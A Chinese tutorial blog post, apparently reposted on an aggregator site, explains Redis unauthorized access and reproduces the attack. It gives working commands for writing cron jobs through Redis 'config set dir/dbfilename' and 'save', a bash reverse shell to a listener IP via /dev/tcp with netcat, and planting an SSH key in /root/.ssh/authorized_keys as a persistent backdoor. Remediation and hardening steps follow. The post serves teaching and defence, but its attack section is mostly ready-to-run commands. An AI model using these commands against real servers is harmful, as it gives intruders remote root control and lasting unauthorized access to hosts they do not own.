Redis 未授权访问的原理、危害及复现

news2024/9/23 15:28:56

原理介绍

Redis 未授权访问 准确的来说,其实并不是一个漏洞。而是由于开发人员配置不当,而产生的预料之外的危害。


具体原理:

  1. 可能由于部分业务要求,或者开发人员的配置不当,将 redis 服务器的 ipport 暴露在公网上;
  2. 开发人员未配置 redis 的访问口令(redis 默认是不需要口令的),或者配置了弱口令;
  3. 攻击者通过爆破等方式,连接到 redis 终端,获取或者写入 redis 键值对。(有部分开发人员会觉得自己项目 redis 中缓存了一部分不是很重要的公开数据,便没有重视 redis 的配置,也是 redis 未授权访问产生的重要原因之一);
  4. 攻击者利用缓存持久化、反弹 shell、权限维持等技术,直接远控主机进行任意操作这便是上面提到的预料意外的危害,可能部分开发会觉得仅仅是泄露一些无关紧要的数据而已,而实际上,远不止于此,远控主机之后,一旦进入内网,便可以肆虐整个公司网络环境)。

产生前提

  1. 业务要求或开发人员配置不当,将 redis 服务器的 ipport 暴露在公网上;
    • redis 配置文件中注释了这一行代码(本意为仅本地回环地址可访问,注释掉后意为不限制访问来源
      • # bind 127.0.0.1
    • redis 配置文件中关闭了保护模式(默认是打开的,打开情况下只有本地回环地址可以访问,与 bind 配合使用);
      • protected-mode : no
    • 防火墙或安全组规则开放端口(入方向)开放 redis 端口,默认:6379
  2. 开发人员未配置 redis 的访问口令(默认是不配置的)。
    • # requirepass

场景还原(溯源)

接下来,我按照这个 攻击产生前提 对 aliyun 上的一台服务器进行配置。(下载 redis 的步骤就省略了)

  1. 修改 redis 配置文件,关闭保护模式,关闭 ip 绑定;

    请添加图片描述

  2. 配置 aliyun 入口规则,开放 redis 默认端口 6379 的访问;

    请添加图片描述

  3. 等待一段时间(或许几十分钟,或许几个小时,或许一天,但一般不会超过 48 小时)

    请添加图片描述

  4. 收到了来自 aliyun 官方的安全告警

    请添加图片描述

  5. 连接 redis 终端,检查一下有什么变化? 发现,在 redis 并未使用的情况下,多出了 4 个 名为 backupkey,查看 backup1value 发现疑似一个 cron 定时任务指向一个 url 地址,地址中包含的是一个 sh 的脚本。

    请添加图片描述

  6. 访问这个 url 地址获取 sh 脚本,进一步分析(⚠️⚠️⚠️ 危险:建议在虚拟机或者测试机器访问,不要在本地计算机访问 ⚠️⚠️⚠️),我这里直接选择在 aliyun 服务器上访问,因为我这台服务器演示完这个场景后是准备重置的。

    请添加图片描述

  7. 查看其它 3 个 backup 键的值,可以看到指向的是同一个恶意脚本,只是访问的方式和参数的区别

    请添加图片描述

  8. 分析恶意脚本源码(由于脚本的性质,这里不做上传,需要的可以直接访问上面公网地址获取,切记不要在物理机访问),大致有三部分内容

    • 目录提权,命令伪造
    • 杀死防御进程,杀死竞争进程,下载指定脚本并执行(这里才是真正执行恶意代码逻辑的脚本)
    • 清理日志文件

攻击原理分析

看了上面的溯源过程,可能会有一个疑问。


redis 被写入了四个 keybackup,值为疑似计划任务命令的键值对,这个很容易理解,因为 redis 暴露在公网且没有口令验证,被写入值很正常

但是,这条计划任务是如何运行的?恶意脚本又是如何被下载的?

实际上,这里利用的是 redis 数据库中的数据持久化操作,使用动态命令将键值对信息持久化存储到磁盘的指定目录下,进而自动运行。具体如下:

  1. 远程访问 redis ,写入 keyvalue 键值对。key 随意命名,value 为要执行的计划任务
    • 如: * * * * * echo $(date) >> /root/data.txt
    • 意为: 每分钟向 /root/data.txt 文件中追加一次时间
    • linux 中,cron 只有 分、时、日、月、周 六位,没有秒级,如果需要以秒为单位,可以使用脚本或者 sleep 方法来配合实现
  2. 动态配置 redis 文件持久化路径,并执行持久化命令
    • config set dir /var/spool/cron/
      • /var/spool/cron 这个目录是 linux 定时任务目录之一
    • config set dbfilename root
      • root root 对应的是 /var/spool/cron 定时任务目录下的子目录,该目录下的定时任务是以用户为纬度存储的,所以这里保存的目录名称应该是当前登录的用户名 root
    • save
      • 手动触发 redis 文件持久化
  3. 等待计划任务自动触发

攻击流程复现

这里的复现流程有一个前提:被攻击机的 redis 是使用 root 账户启动的。 如果不是 root 账户启动,可能后面的复现写入数据时会遇到各种各样的权限不足的问题。

1. 远程连接 redis 服务,写入定时任务

  • set backup "\n* * * * * echo $(date) >> /root/data.txt\n"
    • 如果遇到 MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error 报错,在终端执行 config set stop-writes-on-bgsave-error no 即可(或者直接在 redis.conf 配置文件中改为 stop-writes-on-bgsave-error no 后重启 redis 服务也可以)

2. 动态配置 redis 的持久化路径和文件名,手动持久化,触发定时任务的保存

  • config set dir /var/spool/cron/

    • 配置 redis 持久化文件存储路径为 /var/spool/cron。该目录是 linux 系统定时任务存储的目录之一
  • config set dbfilename root

    • 配置 redis 持久化文件存储名称为 root。 该文件是 root 用户创建的定时任务存储的文件之一
  • save

    • 手动触发 redis 持久化
  • 过程如图

    在这里插入图片描述

3. 等待几分钟之后,进入虚拟机(被攻击机)查看效果

  • crontab -u root -l 查看已有的计划任务

    • 其他 crontab 命令
      - crontab -u root -r:删除某个用户的定时任务
      - crontab -u root -time.cron:把文件添加到某个用户的定时任务(time.cron 是一个文本文件名,文本的内容是一个或者多个 cron 表达式)
      - crontab -u root -l:列举某个用户的定时任务
      - crontab -u root -e:编辑某个用户的定时任务
  • tail -f /root/data.txt 实时查看 /root/data.txt 文件内容(这个文件就是上面计划任务中 echo 命令指向的文件,如果有每分钟输出一次时间,就说明计划任务创建成功了

  • 过程如图(可以看到,成功了✌️):

在这里插入图片描述

4. (进阶)定时任务反弹 shell 获取权限

以上,其实 Redis 未授权访问产生的原理与造成的危害已经显而易见了。但是,上面最终仅仅是实现了在目标机器中创建一个文件并写入了一些内容,而可造成的危害远不仅于此… 🙈

既然可以创建文件,并写入文本,那说明,其实已经可以让目标机器执行一些自定义指令了,可以尝试实现远控。

  1. 在本机开启一个监听端口 8888 (这个端口随便定义,只要不冲突就行)

    • nc -lvp 8888 开始监听 8888 端口
      • ncnetcat工具的命令,大多数 linux 系统自带 netcat, windows 机器可以在官网( https://eternallybored.org/misc/netcat/ )下载,记得关闭杀软或者加入白名单。
    • 如图
      在这里插入图片描述
  2. 重新打开一个命令行窗口(监听窗口不要关),按照上面攻击复现的步骤 1 ~ 3,在目标机器的定时任务中写入反弹shell脚本,并等待其执行(执行成功后,监听窗口会有变化)。

    • 连接 redis。(133 是我的 redis 服务器)
      • redis-cli.exe -h 192.168.136.133
    • 写入键值对,值为定时任务,1 分钟后执行反弹 shell 命令
      • set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.136.1/8888 0>&1\n\n"
      • \n 是换行符,目的是为了与之前已经存在的定时任务分行
      • bash -i >& /dev/tcp/192.168.136.1/8888 0>&1 是最基本的 bash 反弹连接命令,136.1 是我本机的 ip 地址,8888 是上一步中设置的监听端口。
    • 修改 redis 持久化存储目录和文件名,触发持久化(config set 是动态持久化,仅在当前窗口生效,窗口关闭后需要重新设置)
      • config set dir /var/spool/cron/
      • config set dbfilename root
      • save
    • 过程如图
      在这里插入图片描述
  3. 打开第一步中的监听窗口,等待一小会儿 🕔(一分钟之内)

    • shell 反弹成功,本机已经成功远程连接目标机器

      在这里插入图片描述

    • 执行两个命令证实一下,可以看到,此时的监听窗口已经连接上了远程机器的终端,并且可以返回了系统版本与当前用户名。

      在这里插入图片描述

5. (进阶)SSH key 免密登录,权限维持

在第 4 步中,已经成功的进入了目标主机,但是我们是借用 redis 未授权访问的漏洞才成功的,如果定时任务被维护人员发现并删除了呢?如果 redis 的配置被修复了,无法通过远程访问 redis 了呢?

思来想去,决定留一个后门,方便后期随时进入目标主机。

  1. 本机生成 ssh key 公私钥对。

    • ssh-keygen 命令是用来生成 ssh key 公私钥对的。
      • 这个命令需要安装 ssh 才可以使用,git 中也集成了 ssh,如果电脑中装过 git 的也可以直接使用。
      • 公私钥对是最常见的一种免密登录验证方式,大名鼎鼎的 github 的免密登录使用的就是这种。
      • 基本原理也比较简单,就是通过加密算法,生成两个文件,一个公钥,一个私钥,两个是配套的,然后将公钥发送给目标主机存储起来,后续如果客户机想访问目标机器时,直接带着私钥去访问目标主机,目标主机经过核对,公私钥配套成功,就可以直接可以访问而不需要在输密码了。在这里插入图片描述
  2. 在存储路径下,找到公钥,用记事本打开,复制文本内容

    在这里插入图片描述

  3. 打开第 4 步中反弹连接的窗口(在第 4 步中,已经成功连接到目标主机),在目标主机上创建 ssh 文件并写入公钥

    • 进入远程主机的 ssh key 存储路径(/root/.ssh)如果没有 .ssh 文件,就创建一个

      • cd /root
      • mkdir .ssh
      • ls -a 因为 .ssh 是隐藏文件,所以使用 -a 参数
      • cd .ssh
      • echo "ssh-rsa AAAAABBBBCCCCXXXXX " >> authorized_keys
        • 引号中的是生成的公钥信息,更换成自己的
        • authorized_keyslinux 中用来存储授权信息的文件
    • 如图

      在这里插入图片描述

  4. 关闭监听窗口,新开一个窗口,免密登录远程机器

    • ssh 携私钥免密登录远程机器
      • ssh -i ./id_rsa root@192.168.136.133
        • 这里 ./id_rsa 是私钥的位置,因为我是进入到 .ssh 目录中执行 ssh 命令的,./ 代表当前目录
    • 可以看到直接登录成功(如果出现警告,直接输入 yes 回车即可)
    • 尝试执行几条命令验证结果,可以看到,机器 ip133 远程主机,用户是 root
    • 这样,即使 redis 更新了配置文件,我们也可以通过 ssh 免密登录对主机进行远控。
    • 如图
      在这里插入图片描述

修复与加固方案

修复(只针对上述案例,真实场景中更复杂)

  1. 端口排查,先检查是否有可疑端口在与主机建立连接,如有,将其 kill(案例中是使用 bash 连接的)
    在这里插入图片描述

  2. 检查定时任务、服务、自启程序等,可以配合日志一起检查,如果发现可疑的任务,将其终止
    在这里插入图片描述

  3. 检查 .ssh 文件,是否有可疑的认证凭据,如有,将其删除

    在这里插入图片描述

  4. redis 进行加固(访问限制、密码配置等)

  5. 复查定时任务、服务、自启程序、日志、端口(一定要复查,防止在删除凭证,对 redis 加固期间,恶意程序进行转移和复活)

Redis 加固

就本案例而言,归根结底,后面一系列危害的根本原因还是 redis 配置不当,暴露于外网并且无口令验证。

  1. 限制 redis 访问 ip。(通常 redis 都是在内网环境,很少暴露在外网,如果业务需求一定要外网访问,可以配置白名单管控),这是摘自 redis 官网【安全配置】中的一段话。

    Security model
    Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

  2. 修改默认端口。将 redis 的默认端口 6379 修改为其他端口,从一定程度上也可以降低一定的风险,但并不能完全避免。

  3. 配置访问口令。redis 默认是不需要口令的,但是为了安全起见,还是建议配置口令,并且要避免弱口令。

  4. 配置专用用户。满足权限最小化原则,专项业务专人管理,配置单独的管理账号(尤其不要使用 root 账户运行)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/137905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基础数学(7)——常微分方程数值解法

文章目录期末考核方式基础知识解析解(公式法)解析解例题(使用公式法,必考)解析解的局限性数值解数值解的基本流程显示Euler法显示欧拉(差值理解)显示欧拉(Taylor展开理解&#xff09…

ClickHouse表引擎详解看这篇就够了-基本讲解、处理逻辑、测试实例

表引擎是ClickHouse设计实现中的一大特色。表引擎在 ClickHouse 中的作用十分关键,直接决定了数据如何存储和读取、是否支持并发读写、是否支持 index、支持的 query 种类、是否支持主备复制等。1、表引擎概述1.1 介绍ClickHouse 提供了大约 28 种表引擎&#xff0c…

ArcGIS基础实验操作100例--实验43填充面要素空洞

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台:ArcGIS 10.6 实验数据:请访问实验1(传送门) 高级编辑篇--实验43 填充面要素空洞 目录 一、实验背景 二、实验数据 三、实验步骤 (1&a…

JavaScript 条件语句

文章目录JavaScript If...Else 语句条件语句If 语句If...else 语句If...else if...else 语句JavaScript If…Else 语句 条件语句用于基于不同的条件来执行不同的动作。 条件语句 通常在写代码时,您总是需要为不同的决定来执行不同的动作。您可以在代码中使用条件语…

【学习笔记】Shell入门

Shell入门 https://www.bilibili.com/video/BV1WY4y1H7d3 资料:评论区取的 公众号的资料链接 https://pan.baidu.com/s/1_nBKUjE57MB2c96wmfSD5A 提取码:yyds 文章目录一、**Shell** 概述二、**Shell** 脚本入门三、变量1.系统预定义变量2.自定义变量**3…

自学软件测试该如何入门?

互联网行业发展很快技术更新也很快,软件测试技能要求在逐渐提高,自学软件测试要尽快而且入行后需要持续学习。保持好心态,找准教程,按照学习路线和自己的规划一步步学习下去~ 软件测试对代码的要求不像其他编程学科那么高&#x…

30个精品Python练手项目

随着 Python 语言的流行,越来越多的人加入到了 Python 的大家庭中。到底为什么这么多人学 Python ?我要喊出那句话了:“人生苦短,我用 Python!”,正是因为语法简单、容易学习,所以 Python 深受大…

Java微服务连接云服务器上的ZooKeeper

前言 这次要讲的连接ZooKeeper是在外网的云服务器上,不同于以往的本机上的虚拟机上的ZooKeeper,将会有一些不同于本机的连接方式。连接外网服务器进行操作可以更好的适应企业化的开发,脱离了本机的限制,具有很强的实战意义。 前…

小程序容器产品有何特点?

小程序容器顾名思义,是一个承载小程序的运行环境,可主动干预并进行功能扩展,达到丰富能力、优化性能、提升体验的目的。目前市面已知的技术产品包括:mPaas、FinClip、uniSDK 以及上周微信团队才推出的 Donut。今天,我们…

2022 年,这 20+22 位共建者闪耀 StarRocks 社区

2022 年即将过去,多变波动的大环境之中,一岁多的 StarRocks 社区依然保持了高速成长。这一年里,StarRocks 共发布 47 个大小版本,超过 200 人投入社区建设,每月 PR 数突破 1100。 在项目快速迭代的同时,社…

Jumpserver堡垒机部署使用详细教程

部署jumpserver服务器配置 官方建议2核8G 首先cd 到/opt目录下 curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.28.1/quick_start.sh | bash 下载的时候可能会报错,不用管多执行几次。 正常下载页面是这样 因为是从github拉的所以可…

volatile关键字(针对内存可见性)

一,示例 说明:创建两个线程,t1线程用来判断定义的flag变量是否等于0(等于0的话进入循环什么都不做),t2线程用来输入一个变量来修改flag的值;我们想要通过t2线程修改flag变量的值来达到跳出t1线…

Educational Codeforces Round 140 (Rated for Div. 2)(A,B,D)

太久没写博客了,感觉做的题不自己写一遍思路总还是有点问题。。。又到了新年啦,cf的新年特效爱了爱了A. Cut the Triangle给出三角形的三个顶点坐标,问是否可以使用水平或者竖直线从任意一个顶点将三角形划为两部分。思路:易得知&…

研发协同利器:XState调研与应用

背景帖子详情是一个图文/视频混排、拥有大量长文本、大量交互和部分细节动效的页面,细节组件非常多,页面复杂度高。按以往的页面协作方式,会将一个个组件样式、组件数据和组件交互逻辑交给对应的开发同学完成,通过多人协同最终搭建…

【数据结构】C语言实现栈和队列

目录 一、栈 1、栈的概念及结构 2、如何实现栈 3、代码实现 3.1 栈的定义 3.2 栈中将要实现的函数 3.3 函数实现 二、队列 1、队列的概念及结构 2、如何实现队列 3、代码实现 3.1 队列定义 3.2 队列中将要实现的函数 3.3 函数实现 一、栈 1、栈的概念及结构 栈&am…

AI医药论文阅读-使用药物描述和分子结构从文献中提取药物-药物相互作用

202107Using drug descriptions and molecular structures for drug-drug interaction extraction from literature 使用药物描述和分子结构从文献中提取药物-药物相互作用 Bioinformatics. 2021.07 有代码 https://github.com/tticoin/DESC_MOL-DDIE 目录 202107Using dru…

2022亚太杯数学建模(补赛)DE题思路模型代码

占个位置吧,开始在本帖实时更新赛题思路代码,文章末尾名片获取!ABC题已更新 持续为更新参考思路 赛题思路 会持续进行思路模型分析,下自行获取。 D题思路: (比赛开始后第一时间更新) E题思…

面试官:海量请求下的接口并发解决方案,具体聊聊吧

设定一个场景,假如一个商品接口在某段时间突然上升,会怎么办? 生活中的例子来说,假设冰墩墩在当天晚上上热搜之后,迅速有十几万人去淘宝下单购买,此时并没有做好对该商品的缓存预热以及准备,如何…

【力扣刷题】day1-1、两数之和 2、两数相加

力扣刷题笔记day1 1,两数之和 题意 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一个元…

C++ · 入门 · 04 | 引用

啊我摔倒了..有没有人扶我起来学习.... 👱个人主页:《CGod的个人主页》\color{Darkorange}{《CGod的个人主页》}《CGod的个人主页》交个朋友叭~ 💒个人社区:《编程成神技术交流社区》\color{Darkorange}{《编程成神技术交流社区》…